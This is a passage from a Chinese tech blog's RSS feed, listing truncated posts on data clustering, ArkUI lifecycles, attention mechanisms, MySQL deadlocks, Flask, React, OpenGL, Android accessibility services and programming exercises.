org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import com.</description>
    </item>
    <item>
      <title>数据挖掘 模糊聚类</title>
      <link>https://bchobby.github.io/posts/ba50379b99dbba9e3210ab8abccc6c05/</link>
      <pubDate>Sun, 31 Dec 2023 01:19:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba50379b99dbba9e3210ab8abccc6c05/</guid>
      <description>格式化之前的代码：&#xA;import matplotlib.pyplot as plt#绘图 import pandas as pd#读取数据集 from sklearn.preprocessing import scale from sklearn.cluster import DBSCAN#聚类 from sklearn import preprocessing#数据预处理的功能，包括缩放、标准化、正则化等 plt.rcParams[&#34;font.sans-serif&#34;] = &#34;Microsoft Yahei&#34;#字体 df = pd.read_csv(&#34;country.txt&#34;,sep=&#34;\t&#34;) num_data = df[[&#34;面积km^2&#34;, &#34;人口&#34;]] X = preprocessing.minmax_scale(num_data,feature_range=(0,10000))#最小-最大缩放是一种常用的数据预处理方法，它将原始数据线性地缩放到给定的范围内，feature_range=(0,10000)指定了缩放后的特征值范围为0到10000。这意味着最小值将被缩放到0，最大值将被缩放到10000，而其他值将按比例缩放以保持数据的分布。 model = DBSCAN(eps=2000,min_samples=3)#DBSCAN是scikit-learn库中的一个聚类算法模型，eps=2000表示DBSCAN算法中的邻域半径，指定了两个样本被视为同一簇的最大距离。如果两个样本之间的距离小于等于eps，则这两个样本被认为是相邻的，min_samples=3表示DBSCAN算法中的核心点的最小样本数。当一个样本的邻域内包含至少min_samples个样本点时，该样本被认为是核心点。 model.fit(X) label = model.labels_ plt.figure(figsize=(5,5)) print(label) for i in df[label == -1].index: plt.scatter(df.loc[i,&#39;面积km^2&#39;],df.loc[i,&#34;人口&#34;],color = &#39;red&#39;)#绘图 plt.annotate(text=df.loc[i,&#34;国家&#34;],xy=(df.loc[i,&#39;面积km^2&#39;],df.loc[i,&#34;人口&#34;]))#注释 for i in df[label == 0].index: plt.scatter(df.loc[i,&#39;面积km^2&#39;],df.loc[i,&#34;人口&#34;],color = &#39;blue&#39;) plt.annotate(text=df.loc[i,&#34;国家&#34;],xy=(df.loc[i,&#39;面积km^2&#39;],df.loc[i,&#34;人口&#34;]))#df.loc用于按标签进行索引，i是索引值 for i in df[label == 1].</description>
    </item>
    <item>
      <title>ArkUI中自定义组件的生命周期</title>
      <link>https://bchobby.github.io/posts/1b648c7265eef4b14b65fafe2950f002/</link>
      <pubDate>Sun, 31 Dec 2023 01:01:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b648c7265eef4b14b65fafe2950f002/</guid>
      <description>文章概叙 本文主要是介绍下在作为page以及component的时候的生命周期，以及调用API等应该在哪个生命周期使用。&#xA;书接上回 之前的博客已经结束了对底部栏的操作，现在开始需要关注到具体内容的对接了。&#xA;而开发的第一步，我们对页面的生命周期必须要有很深入的了解，因为有开发经验的同学们都知道，做前端开发的时候，我们获取数据API的接口，都是在页面创建完成时调用，而在页面即将被销毁的时候，我们需要去关闭定时器、数据监听等操作。所以我们必须知道在哪个阶段，我们应该做什么。这些可都是面试的知识点来的。&#xA;综上述，本篇博客最主要的内容是讲下生命周期，以及在开发的时候，我们调用API，初始化一些数据的操作应该在哪些生命周期中进行。&#xA;页面与自定义组件的区别 自定义组件：@Component装饰的UI单元，可以组合多个系统组件实现UI的复用，可以调用组件的生命周期。&#xA;页面：即应用的UI页面。可以由一个或者多个自定义组件组成，@Entry装饰的自定义组件为页面的入口组件，即页面的根节点，一个页面有且仅能有一个@Entry。只有被@Entry装饰的组件才可以调用页面的生命周期。&#xA;像是我们的Mine以及Found组件，由于想要做到不使用tab的时候，也可以正常的访问，所以我们在其中加入了@Entry的修饰符，使其属于页面。&#xA;而文章中为什么要区分是否为页面组件，官网上也给出了具体原因，是因为页面组件以及自定义组件各有一套生命周期。&#xA;页面生命周期，即被@Entry装饰的组件生命周期，提供以下生命周期接口：&#xA;onPageShow 页面每次显示时触发一次，包括路由过程、应用进入前台等场景，仅@Entry装饰的自定义组件生效。&#xA;onPageHide 页面每次隐藏时触发一次，包括路由过程、应用进入后台等场景，仅@Entry装饰的自定义组件生效。&#xA;onBackPress 当用户点击返回按钮时触发，仅@Entry装饰的自定义组件生效。&#xA;即当页面被切换显示的时候，各监听一次，当用户点击了返回按钮的时候，也会触发一次事件。&#xA;所以我们可以这么地去理解：&#xA;当onPageShow触发，既显示页面的时候，我们可以去拉数据显示出来&#xA;当onPageHide触发，即隐藏页面的时候，我们可以停止当前的一些操作，比如计时之类的。&#xA;当onBackPress触发，即用户想要退出当前页面的时候，我们就可以询问用户是否离开页面，以便做保存的操作。&#xA;而在@component修饰的组件中，还有一下两种方法&#xA;aboutToAppear 组件即将出现时回调该接口，具体时机为在创建自定义组件的新实例后，在执行其build()函数之前执行。&#xA;aboutToDisappear 在自定义组件析构销毁之前执行。不允许在aboutToDisappear函数中改变状态变量，特别是@Link变量的修改可能会导致应用程序行为不稳定。&#xA;也就是说，对于一些内部组件来说，并没有刚刚@Entry修饰器的返回、显示、隐藏之类的，所以我们在显示组件的时候，就只有以下两个生命周期：&#xA;当组件已经被实例化，但是还没显示在页面上的时候。aboutToAppear会被调用。&#xA;当组件即将被销毁的时候，aboutToDisappear会被调用。&#xA;而@Entry修饰的页面，则会含有上述的五个生命周期，&#xA;即下面的图&#xA;开始代码 在对生命周期有了基础准备工作之后，我们接下来只需要实验一些其中的生命周期，看是否符合我们的想法。&#xA;就拿我们的Mine页面做一次测试，测试代码如下，将五个都添加到了mine.ets中，接着从tab页面访问进入.&#xA;@Entry @Component export struct Mine { @State message: string = &#39;这个是mine页面&#39; ​ onPageShow() { console.log(&#34;当前调用了pageShow方法&#34;) } ​ onPageHide(){ console.log(&#34;当前调用了pageHide方法&#34;) } onBackPress(){ console.log(&#34;当前调用了onBackPress方法&#34;); } ​ aboutToAppear(){ console.log(&#34;当前调用了aboutToAppear方法&#34;); } aboutToDisappear(){ console.log(&#34;当前调用了aboutToDisappear方法&#34;) } build() { Row() { Column() { Text(this.</description>
    </item>
    <item>
      <title>【AI】注意力机制与深度学习模型</title>
      <link>https://bchobby.github.io/posts/6324dd9d4d377ac552913d4dcf7d0b5d/</link>
      <pubDate>Sat, 30 Dec 2023 23:43:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6324dd9d4d377ac552913d4dcf7d0b5d/</guid>
      <description>目录&#xA;一、注意力机制&#xA;二、了解发展历程&#xA;2.1 早期萌芽：&#xA;2.2 真正意义的注意力机制：&#xA;2.3 2015 年及以后：&#xA;2.4 自注意力与 Transformer：&#xA;2.5 BERT 与预训练模型：&#xA;三、基本框架&#xA;1. 打分函数（Score Function）&#xA;2. 校准函数（Alignment Function / Softmax）&#xA;3. 融合（Fusion / Weighted Sum）&#xA;比如机器翻译任务&#xA;四、分类&#xA;4.1 根据注意力的计算区域分类&#xA;4.2 根据注意力的可微性分类&#xA;4.3 根据注意力的来源分类&#xA;4.4 根据注意力的层次结构分类&#xA;4.5 其他形式的注意力模型&#xA;一、注意力机制 从人工智能专家的角度来看，注意力机制（Attention Mechanism）是一种在深度学习模型中，尤其是在处理序列数据（如文本、语音、时间序列等）时非常重要的技术。其核心思想是让模型在处理信息时能够“集中注意力”在更相关的部分，而忽略不那么重要的信息。&#xA;视觉注意力机制是人类视觉所特有的大脑信号处理机制。人类视觉通过快速扫描全局图像，获得需要重点关注的目标区域，也就是一般所说的注意力焦点，而后对这一区域投入更多注意力资源，以获取更多所需要关注目标的细节信息，而抑制其他无用信息。这是人类利用有限的注意力资源从大量信息中快速筛选出高价值信息的手段，是人类在长期进化中形成的一种生存机制，人类视觉注意力机制极大地提高了视觉信息处理的效率与准确性。计算机视觉中的注意力机制从本质上讲和人类的选择性视觉注意力机制类似，核心目标也是从众多信息中选择出对当前任务目标更关键的信息。&#xA;以下是注意力机制的一些关键要点：&#xA;直观理解：想象一下你正在阅读一篇文章。你不会一字不漏地看完每一个字，而是会集中注意力在那些对你而言最重要或最相关的词或句子上。这就是注意力机制希望模拟的行为。&#xA;工作原理：在深度学习模型中，注意力机制通常通过计算一个权重分布来实现。这个分布决定了在生成输出时，输入序列中的哪些部分应该被更多地关注。例如，在机器翻译任务中，生成目标语言的一个词时，模型可能会更多地关注源语言中与之对应的词或短语。&#xA;数学表达：给定一个查询（Query）和一个键值对集合（Key-Value pairs），注意力机制可以计算出一个加权的输出。查询、键和值通常都是向量。输出的计算通常涉及查询与每个键的点积，然后应用一个softmax函数来得到权重分布，最后用这个分布加权所有的值来得到最终的输出。&#xA;类型：有多种注意力机制，包括但不限于：&#xA;全局注意力与局部注意力：全局注意力考虑输入序列的所有位置，而局部注意力只关注输入序列的特定子集。自注意力（Self-Attention）：在自注意力中，查询、键和值都来自同一个输入序列。这种机制在Transformer模型中得到了广泛应用。多头注意力（Multi-Head Attention）：在这种机制中，多个独立的注意力模块并行运行，并将它们的输出拼接或平均起来，以捕获输入数据的不同方面。 优势与应用：注意力机制可以提高模型的可解释性（因为可以看到模型关注了哪些输入），并允许模型处理变长输入序列。它们在各种NLP任务中都取得了巨大成功，如机器翻译、问答系统、情感分析和文本摘要等。此外，注意力机制也被应用于其他领域，如计算机视觉和语音识别。&#xA;二、了解发展历程 2.1 早期萌芽： 在深度学习兴起之前，注意力机制的思想已经在一些传统的机器学习模型中有所体现，比如隐马尔可夫模型（HMM）中的对齐（Alignment）概念，但这并不算是真正的“注意力”。 2.2 真正意义的注意力机制： 注意力机制在深度学习中的首次明确提出通常与 Bahdanau 等人在 2014 年的工作《Neural Machine Translation by Jointly Learning to Align and Translate》相关联。在这篇论文中，作者们为机器翻译任务引入了一种名为“加性注意力”（Additive Attention）的机制，允许模型在生成目标语言句子时自动搜索源语言句子中的相关部分。这种方法极大地改善了之前基于编码-解码（Encoder-Decoder）架构的机器翻译系统的性能，尤其是当处理长句子时。 2.</description>
    </item>
    <item>
      <title>Innodb执行insert造成死锁的问题</title>
      <link>https://bchobby.github.io/posts/504387f3774b9273c0aca7a98f9d90e6/</link>
      <pubDate>Sat, 30 Dec 2023 23:39:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/504387f3774b9273c0aca7a98f9d90e6/</guid>
      <description>背景 起因是线上报了一个错误信息，Deadlock found when trying to get lock; try restarting transaction，这是Mysql检测到死锁后，自动回滚了事务引发的异常。spring框架里打印了异常堆栈，所以很快就定位到哪一行代码出了问题。&#xA;业务的伪代码如下：&#xA;val result = query(&#34;select * from game where user_id = xx and game_id = xx&#34;) if (result == null) { excute(&#34;Insert Into game_player(game_id,user_id) Values(?,?)&#34;) } -- table schema create table game ( id bigint, game_id bigint, user_id bigint, primary key(id), constraint unique_game_id_user_id unique (game_id, user_id) ) 看了代码逻辑，只有insert的时候会加一个行锁，死锁要有两个锁被多个线程账户等待，才会发生。就算有并发的情况，同时插入两条一样的记录，第二个事务也是处于等待锁的状态，等待锁超时后就报获取锁超时，也不会发生死锁。&#xA;查看死锁信息 然后通过show engine innodb status命令看一下死锁的相关信息。&#xA;------------------------ LATEST DETECTED DEADLOCK ------------------------ 2023-12-29 05:43:26 22399693092608 *** (1) TRANSACTION: TRANSACTION 3701497, ACTIVE 29 sec inserting mysql tables in use 1, locked 1 LOCK WAIT 4 lock struct(s), heap size 1128, 2 row lock(s), undo log entries 1 MySQL thread id 43921, OS thread handle 22399139387136, query id 225853288 122.</description>
    </item>
    <item>
      <title>【C&#43;&#43;】循环结构中的变量的生命周期</title>
      <link>https://bchobby.github.io/posts/8e6c9b7280ad9207b8a407a424abadb5/</link>
      <pubDate>Sat, 30 Dec 2023 23:29:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e6c9b7280ad9207b8a407a424abadb5/</guid>
      <description>在C++中，循环结构中变量的生命周期取决于变量的作用域和声明位置。&#xA;for(int i = 0; i &amp;lt; 5; i++) //i为循环变量，在循环结构刚开始时被创建，在整个循环结构结束时被销毁 { int x = i; // x为循环体中的变量，在每次开始循环体时会被创建，在每次结束循环体时会被销毁 cout &amp;lt;&amp;lt; x &amp;lt;&amp;lt; endl; } 1.循环体中的变量的生命周期：在循环结构的循环体中的变量会在每次循环体开始时被创建，在每次循环体结束时被销毁。&#xA;2.循环变量i的生命周期：在 C++ 的 for 循环中，循环变量（如 i）在循环开始时被定义一次，然后在每次循环迭代时更新其值。这个变量的生命周期是整个 for 循环，当整个循环结束时，i 的生命周期也就结束了。</description>
    </item>
    <item>
      <title>word文档插入公式自动编号</title>
      <link>https://bchobby.github.io/posts/46975c06e43980029a5d42bc8929500d/</link>
      <pubDate>Sat, 30 Dec 2023 23:23:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46975c06e43980029a5d42bc8929500d/</guid>
      <description>参考视频：Word公式录入+自动编号&#xA;视频没有详细介绍word 域相关的用法，自己试了好几遍总结了一些要点，记录一下。&#xA;首先是插入域的快捷键：ctrl+f9&#xA;也就是先在章节标题的光标末尾按下插入域的快捷键，输入视频指示的公式。{SEQ seg \h } {SEQ eq \r \h}&#xA;然后在每个章节的公式光标后面同样按下插入键，根据视频指示输入{SEQ seq \c}-{SEQ eq}&#xA;注意，这时将光标移动到公式的最后但不要出公式框，按下回车。这时候应该能看到之前输入的那些公式现在右对齐了。&#xA;接下来需要进入域模式并退出域。&#xA;进入域和退出域用同一个快捷键alt+f9&#xA;按两次alt+f9就可以看到公式后面是一个编号了，让编号正常的方式是选中含有公式编号的文本，右键更新域，就可以看到自动编号了。&#xA;ps：还有一个常用快捷键，有时候需要检查之前输入的域公式是否正确，除了可以alt+f9进入域模式查看域代码外，还可以按下shift+f9显示光标处的局部域代码。适合局部检查。</description>
    </item>
    <item>
      <title>Python&#43;OpenGL绘制3D模型（六）材质文件载入和贴图映射</title>
      <link>https://bchobby.github.io/posts/4998b2bf3d32971d7aa8263ae296fdb0/</link>
      <pubDate>Sat, 30 Dec 2023 23:18:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4998b2bf3d32971d7aa8263ae296fdb0/</guid>
      <description>系列文章 一、逆向工程&#xA;Sketchup 逆向工程（一）破解.skp文件数据结构&#xA;Sketchup 逆向工程（二）分析三维模型数据结构&#xA;Sketchup 逆向工程（三）软件逆向工程从何处入手&#xA;Sketchup 逆向工程（四）破解的乐趣 钩子 外挂 代码注入&#xA;二、OpenGL渲染模型&#xA;Python+OpenGL绘制3D模型（一）Python 和 PyQt环境搭建&#xA;Python+OpenGL绘制3D模型（二）程序框架PyQt5&#xA;Python+OpenGL绘制3D模型（三）程序框架PyQt6&#xA;Python+OpenGL绘制3D模型（四）绘制线段&#xA;Python+OpenGL绘制3D模型（五）绘制三角型&#xA;Python+OpenGL绘制3D模型（六）材质文件载入和贴图映射&#xA;Python+OpenGL绘制3D模型（七）制作3dsmax导出插件&#xA;Python+OpenGL绘制3D模型（八）绘制插件导出的插件&#xA;Python+OpenGL绘制3D模型（九）完善插件功能: 矩阵,材质,法线&#xA;Python+OpenGL 杂谈（一）&#xA;三、成果&#xA;疫情期间关在家里实在没事干，破解了Sketchup，成功做出可以读取并显示.skp文件的程序SuViewer&#xA;前言 Sketchup作为目前设计院最为流行的设计软件(非工程制图软件），深受设计师的喜爱，软件小巧，而功能强大，有不少为之开发的插件应运而生，不过呢，关于底层数据结构和工作原理相关的文章少之又少，本文意在填补一下这方面的空缺，通过逆向软件分析，展示软件内部奥秘。本文用到的工具：IDA Pro，Immunity Debugger，Visual Studio （逆向工程三件套）数据结构属于知识产权的核心机密：&#xA;Python+OpenGL绘制3D模型（六）材质文件载入和贴图映射 运行效果：&#xA;文章目录 系列文章前言Python+OpenGL绘制3D模型（六）材质文件载入和贴图映射一、从文件读取贴图二、glBindTexture三、指定贴图坐标四、运行图效果五、2个问题和原因六、源代码1、Draw1.py2、tOpenGLqt5.py 系列文章预告 一、从文件读取贴图 记得以前用c++写的时候，要编译链接图像库，用于对应图片格式的加载，每个用到的格式都要单独搞一遍，在网上找开源的图片库，下载，编译，测试，一套下来搞的人很累，现在，因为有Qt的加持，载入贴图变得非常简单，全部交给Qt来做，只需要几行代码&#xA;def load_texture_from_file( filepath ): with open(filepath, &#39;rb&#39;) as hf: data = hf.read() image = QImage() valid = image.loadFromData(data) if not valid: return False gl_tex_obj = QOpenGLTexture(image.mirrored()) return gl_tex_obj 图片载入到Qt后，还需要调用OpenGL的库加载贴图数据，另外Qt的图片坐标Y轴是向下增加的，符合显示屏幕坐标的习惯，而OpenGL中的Y轴坐标是正常向上的，所以Y轴需要mirror处理一下</description>
    </item>
    <item>
      <title>洛谷 P1086：花生采摘 ← 结构体</title>
      <link>https://bchobby.github.io/posts/fbd0ce03e342f3a440d751e9f0785428/</link>
      <pubDate>Sat, 30 Dec 2023 23:04:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbd0ce03e342f3a440d751e9f0785428/</guid>
      <description>【题目来源】&#xA;https://www.luogu.com.cn/problem/P1086&#xA;https://www.acwing.com/problem/content/description/420/&#xA;【题目描述】&#xA;鲁宾逊先生有一只宠物猴，名叫多多。这天，他们两个正沿着乡间小路散步，突然发现路边的告示牌上贴着一张小小的纸条：“欢迎免费品尝我种的花生！ ——熊字”。&#xA;鲁宾逊先生和多多都很开心，因为花生正是他们的最爱。&#xA;在告示牌背后，路边真的有一块花生田，花生植株整齐地排列成矩形网格（如图 1）。&#xA;有经验的多多一眼就能看出，每棵花生植株下的花生有多少。&#xA;为了训练多多的算术，鲁宾逊先生说：“你先找出花生最多的植株，去采摘它的花生；然后再找 出剩下的植株里花生最多的，去采摘它的花生；依此类推，不过你一定要在我限定的时间内回到路边。”&#xA;我们假定多多在每个单位时间内，可以做下列四件事情中的一件：&#xA;（1）从路边跳到最靠近路边（即第一行）的某棵花生植株；&#xA;（2）从一棵植株跳到前后左右与之相邻的另一棵植株；&#xA;（3）采摘一棵植株下的花生；&#xA;（4）从最靠近路边（即第一行）的某棵花生植株跳回路边。&#xA;现在给定一块花生田的大小和花生的分布，请问在限定时间内，多多最多可以采到多少个花生？&#xA;注意：可能只有部分植株下面长有花生，假设这些植株下的花生个数各不相同。&#xA;例如在图 2 所示的花生田里，只有位于 (2,5),(3,7),(4,2),(5,4) 的植株下长有花生，个数分别为 13,7,15,9。&#xA;沿着图示的路线，多多在 21 个单位时间内，最多可以采到 37 个花生。&#xA;【输入格式】&#xA;输入文件的第一行包括三个整数，M,N 和 K，用空格隔开；表示花生田的大小为 M×N，多多采花生的限定时间为 K 个单位时间。&#xA;接下来的 M 行，每行包括 N 个非负整数，也用空格隔开；第 i+1 行的第 j 个整数 Pij 表示花生田里植株 (i,j) 下花生的数目，0 表示该植株下没有花生。&#xA;【输出格式】&#xA;输出文件包括一行，这一行只包含一个整数，即在限定时间内，多多最多可以采到花生的个数。&#xA;【数据范围】&#xA;1≤M,N≤20,&#xA;0≤K≤1000,&#xA;0≤Pij≤500&#xA;【输入样例】&#xA;6 7 21&#xA;0 0 0 0 0 0 0&#xA;0 0 0 0 13 0 0</description>
    </item>
    <item>
      <title>B3853：等式判断 ← 选择结构</title>
      <link>https://bchobby.github.io/posts/e7f1fecb747e65c520ca61a7a5f73283/</link>
      <pubDate>Sat, 30 Dec 2023 22:53:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7f1fecb747e65c520ca61a7a5f73283/</guid>
      <description>【题目来源】&#xA;https://www.luogu.com.cn/problem/B3853&#xA;【题目描述】&#xA;给出三个整数 a,b,c，保证 b≠0。&#xA;如果a+b=c，请你输出 plus。&#xA;如果a−b=c，请你输出 minus。&#xA;如果以上两条均不满足，请输出 illegal。&#xA;【输入格式】&#xA;输入只有一行三个整数，依次表示 a,b,c。&#xA;【输出格式】&#xA;输出一行一个字符串表示答案。&#xA;【输入样例】&#xA;1 2 3&#xA;3 2 1&#xA;1 1 4&#xA;【输出样例】&#xA;plus&#xA;minus&#xA;illegal&#xA;【数据规模与约定】&#xA;对全部的测试点，保证 -2^31≤a, b, c&amp;lt;2^31，b≠0。&#xA;【算法代码】&#xA;#include &amp;lt;bits/stdc++.h&amp;gt; using namespace std; long long a,b,c; int main() { cin&amp;gt;&amp;gt;a&amp;gt;&amp;gt;b&amp;gt;&amp;gt;c; if(a+b==c) cout&amp;lt;&amp;lt;&#34;plus&#34;&amp;lt;&amp;lt;endl; else if(a-b==c) cout&amp;lt;&amp;lt;&#34;minus&#34;&amp;lt;&amp;lt;endl; else cout&amp;lt;&amp;lt;&#34;illegal&#34;&amp;lt;&amp;lt;endl; } /* in: 1 2 3 3 2 1 1 1 4 out: plus minus illegal */ 【参考文献】</description>
    </item>
    <item>
      <title>flask web学习之flask与http（二）</title>
      <link>https://bchobby.github.io/posts/3c17d22b47f9a4d4b69fb898d45a01c4/</link>
      <pubDate>Sat, 30 Dec 2023 22:48:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c17d22b47f9a4d4b69fb898d45a01c4/</guid>
      <description>文章目录 1. HTTP响应1.1 响应报文1.2 常见HTTP状态码1.3 在flask中如何生成响应1.3.1重定向1.3.2错误响应 1.4响应格式 在flask程序中，客户端发出的请求触发相应的视图函数，获取返回值会作为响应的主体，最后生成完整的响应，即响应报文。&#xA;1. HTTP响应 1.1 响应报文 响应报文主要由协议版本、状态码、原因短语、响应首部和响应主体组成。&#xA;协议版本：响应报文的开头通常包含协议版本信息，用于标识使用的通信协议的版本。如HTTP/1.1。状态码：状态码是一个三位数字的代码，用于表示请求的处理结果。常见的状态码有200（成功）、404（未找到）、500（服务器内部错误）等。原因短语：原因短语是对状态码的文本解释，用于提供关于请求处理结果的更详细的信息。响应首部：响应首部包含了一些额外的信息，如响应内容的类型、长度等。这些信息对于理解响应内容非常重要。响应主体：响应主体是实际的数据内容，即服务器返回给客户端的具体信息。 1.2 常见HTTP状态码 类型状态码原因短语说明成功200OK请求被正常处理成功201Created请求被处理，并创建了一个新资源成功204No Content请求处理成功，但无内容返回重定向301Move Permanently永久重定向重定向302Found临时性重定向重定向304Not Modified请求的资源未被修改，重定向缓存的资源客户端错误400Bad Request表示请求无效，即请求报文中存在错误客户端错误401Unauthorized类似403，表示请求资源未授权客户端错误403Forbidden表示请求资源被服务器拒绝访问客户端错误404Not Found表示服务器上找不到请求的资源或URL无效服务器端错误500Internal Server Error服务器内部发生错误 1.3 在flask中如何生成响应 响应大部分内容由服务器处理，大多数情况下，我们只负责返回主体内容。响应在flask中使用Response对象表示。&#xA;Flask会先判断是否可以找到与请求url相匹配的路由，如果没有返回404。如果找到，就会调用对应的视图函数，视图函数的返回值构成了响应报文的主题内容，正确返回的状态码为200。&#xA;1.3.1重定向 如果你访问http://localhost:5000/hi，你会发现页面加载后地址栏中的URL变成了http://localhost:5000/hellp。这种行为被称为重定向，你可以理解为网页跳转。&#xA;代码示例：&#xA;from flask import Flask, redirect, url_for @app.route(&#39;/hello&#39;) def hello():&#x9;# 直接返回网页 return redirect(&#39;/hi&#39;) @app.route(&#39;/hi&#39;) def hi(): return redirect(url_for(&#39;hello&#39;)) 1.3.2错误响应 如果你访问http://localhost:5000/brew/coffee，会获得一个418错误响应（I’m a teapot）&#xA;大多数情况下，flask可以自动处理常见的错误响应。Http错误对应的异常类在werkzeug的werkzeug.exceptions模块中被定义，抛出这些异常即可返回对应的错误响应。如果你想手动返回错误响应，你可以使用flask提供的abort()函数。&#xA;from flask import Flask, abort @app.route(&#39;/404&#39;) def not_found(): abort(404) abort 函数不需要使用return返回，但他之后的代码也不会在执行。&#xA;1.4响应格式 纯文本&#xA;MIME类型：text/plain&#xA;当MIME类型设置为纯文本时，浏览器会以文本形式显示返回值。HTML</description>
    </item>
    <item>
      <title>React16源码: Why16, 研究源码的意义, 源码目录核心结构分析</title>
      <link>https://bchobby.github.io/posts/cbc919305a407dc3c9d9f5bb2ec0ec21/</link>
      <pubDate>Sat, 30 Dec 2023 22:47:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbc919305a407dc3c9d9f5bb2ec0ec21/</guid>
      <description>为什么要选择React16 现在React18都早已实践很多，为何回过头来看16版本的代码理由如下 从实际出发，企业内老旧项目多为16版本，理解16的核心能够帮助我们快速解决问题16版本React是完全重写了核心代码, 是一次重大的更新 引入了 fiber 这个概念，从根本上解决了JS单线程运行问题引入了hooks，摆脱了 class component 的一些繁琐的内容… 关于React框架 React 是一个非常纯粹的 UI 框架，通过state映射UI的方式来屏蔽了dom操作现在业界的框架大多如此, 但是说React纯粹是因为它的API设计非常的纯粹 核心API就是 setState，其余所有的内容都围绕着组件化来设计没有directive双向绑定以及其他的一些API它要改变一个UI你只能通过setState来改变对应的状态这就给了react无比纯粹的开发体验, 一切基于组件同时react又是一个思想超前的框架而Vue框架是基于React发展而来，很多思想都是借鉴React的思路 深入研究React源码的意义 能在遇到bug的时候，从底层去思考如何去解决问题并且能够让你在开始项目之前就想好更好的架构方式React源码的很多设计细节都是非常高明的，学习源码能有助于你提升整体的编码能力React源码是由全世界最好的一部分前端开发人员一起维护了好几年才形成现在这个版本的代码它的代码质量肯定是非常高的, 它的一些解决方案是非常有效的研究这些编码的思维，对我们将来肯定也有非常大的帮助 React16 源码目录结构分析 1 ）概述 比如: React 16.6 版本仓库地址: https://github.com/facebook/react/tree/v16.6.0/packages 核心结构&#xA;react/packages ├── event # 编译相关 ├── react # 核心 api ├── react-dom # 核心 api 操作dom ├── react-reconciler # 服务端渲染 ├── scheduler # .调度计划 ├── shared # 共享代码 ├── ... # 其他 2 ）说明&#xA;event 事件系统&#xA;我们知道react使用的是onClick这种在标签上面写props的方法去绑定事件它跟原生的事件绑定是有一定的区别的它自己实现了一套事件的一个传播的体系这部分的代码就在events 目录下面 react 核心api</description>
    </item>
    <item>
      <title>IMS:AccessibilityService辅助服务拦截注入Input事件</title>
      <link>https://bchobby.github.io/posts/75ae163a0542cc3d6db8984dcb3f694e/</link>
      <pubDate>Sat, 30 Dec 2023 22:26:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75ae163a0542cc3d6db8984dcb3f694e/</guid>
      <description> AccessibilityService辅助服务拦截注入Input事件 android11-release&#xA;frameworks\base\core\java\android\accessibilityservice\AccessibilityService.java&#xA;frameworks\base\services\accessibility\java\com\android\server\accessibility\AccessibilityInputFilter.java&#xA;设置中打开辅助服务 设置-&amp;gt;无障碍&#xA;settings get secure accessibility_enabled&#xA;settings get secure enabled_accessibility_services&#xA;com.miui.securitycenter/com.miui.luckymoney.service.LuckyMoneyAccessibilityService 小米红包助手&#xA;google无障碍控制 com.google.android.marvin.talkback/com.android.switchaccess.SwitchAccessService 设置-&amp;gt;无障碍中“开关控制”&#xA;AccessibilityService https://developer.android.google.cn/reference/android/accessibilityservice/AccessibilityService&#xA;AccessibilityManagerService和AccessibilityInputFilter private static final String ACCESSIBILITY_MANAGER_SERVICE_CLASS = &#34;com.android.server.accessibility.AccessibilityManagerService$Lifecycle&#34;; startOtherServices启动，AccessibilityService初始化 init 并监听registerBroadcastReceivers()、new AccessibilityContentObserver(...).register(...)scheduleUpdateInputFilter 最终注册AccessibilityInputFilterInputDispatcher事件被AccessibilityInputFilter拦截，不会被唤醒mLooper-&amp;gt;wake()&#xA;Input事件传递到AccessibilityInputFilter的onInputEvent&#xA;AccessibilityService事件 Android AccessibilityService 事件分发原理&#xA;创建无障碍服务 创建自己的无障碍服务 InputDispatcher时序问题 请参考Android 无障碍服务导致的整机卡顿案例分析&#xA;AccessibilityInputFilter拦截，不会被InputReader通知Notify***唤醒下一个 Vsync 周期?的时候执行 </description>
    </item>
    <item>
      <title>MATLAB二维绘图</title>
      <link>https://bchobby.github.io/posts/e458903dadafcac015601c3e640f3c56/</link>
      <pubDate>Sat, 30 Dec 2023 22:24:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e458903dadafcac015601c3e640f3c56/</guid>
      <description>目录&#xA;1 绘图函数介绍&#xA;1.1 点型绘制 1.2 颜色绘制 1.3 线型绘制 2 坐标轴状态与标识&#xA;2.1 坐标轴的控制&#xA;2.2 网格线、轴线分度以及标识&#xA;2.3 图形标识命令&#xA;3 多次叠绘与多子图&#xA;3.1 多次叠绘&#xA;3.2 多子图&#xA;1 绘图函数介绍 二维绘图常用的函数就是plot函数，基本调用格式如下：&#xA;% x,y 横纵坐标 % s 用于表示点型、颜色与线型 plot(x,y,&#39;s&#39;) 1.1 点型绘制 点型预定义设置符 .实心点*米字符+十字符x叉字符o空心圆圈s方块符d菱形符p五角星符h六角星符&amp;lt;向左三角符&amp;gt;向右三角符 示例代码：&#xA;x = -10:0.1:10; %x轴 y = 2*x+2; %y轴 plot(x,y,&#39;x&#39;); %绘图，叉字符 运行效果如下（figure图像坐标已拉伸放大）：&#xA;1.2 颜色绘制 颜色预定义设置符 b蓝色g 绿色&#xA;r红色c青色m紫红y黄色k黑色w白色 示例代码：&#xA;x = -10:0.1:10; %x轴 y = 2*x+2; %y轴 plot(x,y,&#39;xr&#39;); %绘图，叉字符,红色 运行效果如下：&#xA;1.3 线型绘制 线型预定义设置符 -细实线：点线-.</description>
    </item>
    <item>
      <title>（2023版本）GraalVM&#43;native-image&#43;Visual Studio 在Win10上全流程安装，避坑&#43;实操</title>
      <link>https://bchobby.github.io/posts/19121ef75ddc9f6c71de49e84759d6b6/</link>
      <pubDate>Sat, 30 Dec 2023 22:23:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19121ef75ddc9f6c71de49e84759d6b6/</guid>
